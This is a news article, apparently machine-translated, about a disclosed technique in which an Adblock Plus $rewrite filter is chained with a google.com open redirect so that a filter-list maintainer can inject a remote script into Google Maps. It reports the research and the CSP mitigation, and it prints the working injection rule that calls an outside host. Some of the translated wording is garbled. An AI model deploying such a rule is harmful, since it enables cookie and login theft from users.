Adblock Plus filters can be exploited to execute malicious code

An exploit has been discovered that could allow maintainers of blocking filter lists for Adblock Plus, AdBlock and uBlocker browser extensions to create filters that inject remote scripts into websites.

Advertising blockers having a user base of more than 10 million installations, if malicious scripts were injected, this would have a considerable impact as they could perform unwanted activities, such as the theft of cookies, login information, causing page redirects or other unwanted behavior.

The $ rewrite filter option

For those unfamiliar with advertising blockers, they use lists of URLs related to advertisements and malicious behavior. They are usually run by a small team of people or even one person. When these lists are loaded by an ad blocking extension, such as Adblock Plus, this extension will prevent the browser from connecting to the listed URLs, which will prevent the loading of advertisements or malicious scripts.

For example, below is the list of filters in the ad blocking list frequently called EasyList.

When publishing Adblocker Plus 3.2 in 2018, a new filter list option was added, called $ rewrite. This option allowed a list maintainer to replace a web request that matches a particular regular expression with another URL.

The only drawback is that the replacement string must be a relative URL, which means that it does not contain a host name and that when rewriting it must belong to the same domain. origin than the original request.

For example, the following filter rule will cause all requests for example.com/ad.gif to be replaced by example.com/puppies.gif. So, instead of displaying ads on a page, you will see pretty pictures of puppies.

|| example.com/ad.gif$rewrite=/puppies.gif

On the other hand, as the rewritten URL must have the same origin as the original URL and must be a relative URL, the next $ rewrite rule will not work.

|| example.com/ads.js$rewrite=https: //evilsite.tk/bwahaha.js

To make $ rewrite even more difficult to exploit, this filter option will not work with queries like SCENARIO, Subdocument, OBJECT and OBJECT_SUBREQUEST.

Thus, if a malicious script must appear on the same site, must be rewritten on a relative URL and can not be loaded via a script tag, how can a list manager exploit it?

Chaining $ rewrite with Web service redirects for an exploit

Today, Armin Sebastian, a security researcher, explained that under certain conditions, it is possible for a filter filter maintainer to unauthorized ads that creates a rule that injects a remote script into a particular site.

To do this, you must search for a site that loads scripts from any domain that contains an open redirect and uses XMLHttpRequest or Fetch to download the scripts to run. It was not too hard to find because Sebastian was using Google Maps for his proof of concept.

Using XMLHttpRequest or Fetch to download scripts and open redirect is one of the keys to the problem.

Indeed, requests using XMLHttpRequest or Fetch to download remote scripts to run will not fail when using the $ rewrite option. In addition, open redirect is just as important because it allows the script to be read by XMLHttpRequest from a remote site, while still appearing to be from the same origin.

For example, Sebastian used Google Maps, which uses XMLHttpRequest to load scripts and because google.com has an open redirect in the search results pages. This allowed him to chain an exploit using the $ rewrite filter option with open redirect to read a remote script, as shown below.

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih = & q = majestic-ramsons.herokuapp.com & btnI = I% 27m + feeling + lucky & gbv = 1

When the above rule is in place, when you visit www.google.com/maps/, the filter rule will use Google's open redirect to read the content of https://majestic-ramsons.herokuapp.com /.

Since the open redirect URL is in the same origin or domain, the strings can be read and executed as JavaScript, which will display the alert as shown here. -Dessous.

Sebastian reported this to Google, but their position has always been that open redirect is a "desired behavior".

"Google has been informed of the exploit, but the report has been closed as" desired behavior "because it considers that the potential security problem is present only in the browser extensions mentioned.This conclusion is unfortunate, because the exploit is made up of a set of browser extension and web service vulnerabilities that have been chained together. "

To mitigate this chained feat, Sebastian recommends that Web sites use the Content Security Policy header and the connect-src option to specify a whitelist of sites from which scripts can be loaded. .

"The exploit can be mitigated in affected web services by whitelisting known origins using the connect-src CSP header or eliminating server-side open redirects. "

Why would a filter maintainer become dishonest?

While there may be many ways to edit a filter list, Sebastian told BleepingComputer that his main concern was a "filter list operator that could perform hard-to-detect targeted attacks."

As many filter list managers are volunteers, it is conceivable that they add an unwanted filter for many reasons.

For example, Sebastian explains that in 2018, a list leader added a filter for political reasons that blocked various trade union websites in Finland that were organizing demonstrations.

It should also be noted that although extensions include only a few filter lists, many other third-party updates can be added. It would not be surprising to see that a popular list is purchased and modified to include malicious filters or that the manager is prompted by money to make a temporary change and to go back before anyone sees it. .